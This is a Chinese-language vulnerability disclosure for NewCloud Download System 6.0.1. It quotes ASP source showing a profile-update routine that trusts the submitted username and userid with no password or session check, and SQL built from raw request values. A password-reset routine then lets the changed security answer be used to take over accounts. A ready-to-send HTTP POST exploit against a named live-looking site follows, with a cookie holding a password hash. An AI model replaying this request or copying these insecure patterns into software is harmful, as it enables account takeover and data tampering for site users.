NewCloud Download System Version 6.0.1漏洞

………………………
……………………….
Private Sub modify()
 Call chkmodify
 If Founderr = False Then
 SQL = "select * from [NC_user] where username=’" & Request("username") & "’ and userid=" & Request("userid")
 Rs.Open SQL, conn, 1, 3
 If Rs.bof And Rs.EOF Then
 Response.Write "Sorry！没有找到此用户信息信息。"
 Else
 Rs("usermail") = Request.Form("usermail")
 Rs("postcode") = Request.Form("postcode")
 Rs("question") = Request.Form("question")
 Rs("oicq") = Trim(Request.Form("oicq"))
 Rs("truename") = Request.Form("truename")
 Rs("usertel") = Request.Form("usertel")
 Rs("address") = Trim(Request.Form("address"))
 If Request.Form("answer") <> "" Then
 Rs("answer") = NC_Encode.md5(Request.Form("answer"))
 End If
 Rs.Update
 End If
 Rs.Close
 Set Rs = Nothing
 Response.Write ("<script>alert(’您的资料修改成功!/n/n请记住您的新用户资料’);javascript:history.back(1)</script>")
 Response.End
 End If
End Sub
……………………………..
……………………………..
 
其中SQL = "select * from [NC_user] where username=’" & Request("username") & "’ and userid=" & Request("userid") 简简单单的考”username”和”userid”来判断要updata的位置，没有和passwrod比较，也没有和当前用户比较，这样我们就可以随意构造语句，填入任意用户的”username”和”userid”就可以改他的资料。再看sendpass.asp中的代码
 
sendpass.asp:
………………………………
……………………………….
Private Sub step2()
 If Request("username") = "" Then
 Founderr = True
 Errmsg = Errmsg + "请输入您的用户名。"
 Exit Sub
 Else
 UserName = Replace(Request("username"), "’", "")
 End If
 If Newasp.checkpost = False Then
 Errmsg = Errmsg + "您提交的数据不合法，请不要从外部提交发言。"
 Founderr = True
 Exit Sub
 End If
 If Request("answer") = "" Then
 Founderr = True
 Errmsg = Errmsg + "请输入您的问题答案。"
 Exit Sub
 Else
 Answer = NC_Encode.md5(Trim(Request("answer")))
 End If
 Set Rs = Newasp.Execute("select * from NC_User where username = ’" & UserName & "’ and answer = ’" & Answer & "’")
 If Rs.EOF And Rs.bof Then
 Founderr = True
 Errmsg = Errmsg + "您输入的问题答案不正确，请重新输入。"
 Exit Sub
 Else
…………………………………
…………………………………

POST /updateinfo.asp?action=save HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.8vb.com/updateinfo.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: www.8vb.com
Content-Length: 196
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQSBDATCD=OHILHJDBEJMBNLBAOGKOHEPJ; cc_6_visited_site_8vb=1; www%2E8vb%2Ecom%2F=grade=1&password=03150e23d1c6ca01&userid=1550&username=usualwyy
 
username=******&userid=****&truename=wyywyy&usermail=dfger@dsafg.dh&question=wyy&answer=***&usertel=2134363&oicq=&postcode=5325235&address=%C1%AA%CF%B5%B5%D8%D6%B7&Submit=%C1%A2%BC%B4%D0%DE%B8%C4

……………………..
……………………..
If request("action") = "savessay" Then
 Dim EssayID
 EssayID = request("id")
 If CInt(Newasp.Setting(38)) = 1 Then
 If request.Cookies("Essay_"&EssayID) = "newaspEssay_" &EssayID Then Response.Write ("<script>alert(’对不起!你已经参与过评论。’);javascript:history.back(1)</script>")
 Response.End
 response.Cookies("Essay_"&EssayID) = "newaspEssay_" &EssayID
 response.Cookies("Essay_"&EssayID).expires = Date + 365
 If Len(Request.Form("content")) > CLng(Newasp.TempSet(7)) Then Response.Write ("<script>alert(’对不起!评论字符超过了限制。’);javascript:history.back(1)</script>")
 Response.End
 sql = "select * from NC_SoftEssay where (ID is null)"
 rs.Open sql, conn, 1, 3
 rs.addnew
 rs("SoftID") = softid
 rs("UserName") = Newasp.HTMLEncode(Trim(request.Form("UserName")))
 rs("usermail") = Trim(request.Form("Email"))
 rs("Grade") = Trim(request.Form("Grade"))
 rs("content") = Newasp.HTMLEncode(request.Form("content"))
 rs("postime") = Now()
 rs("postip") = Newasp.GetUserip
 rs.update
 rs.Close
 If IsCreateHtml = 1 Then NewCloud.CreateSoftInfo (softid)
 response.redirect(""&Request.ServerVariables("HTTP_REFERER")&"")
 Else
 Response.Write"<script>alert(’" & Newasp.TempSet(12) &"’);javascript:history.back(1)</script>"
 Response.End
 End If
End If
…………………..
…………………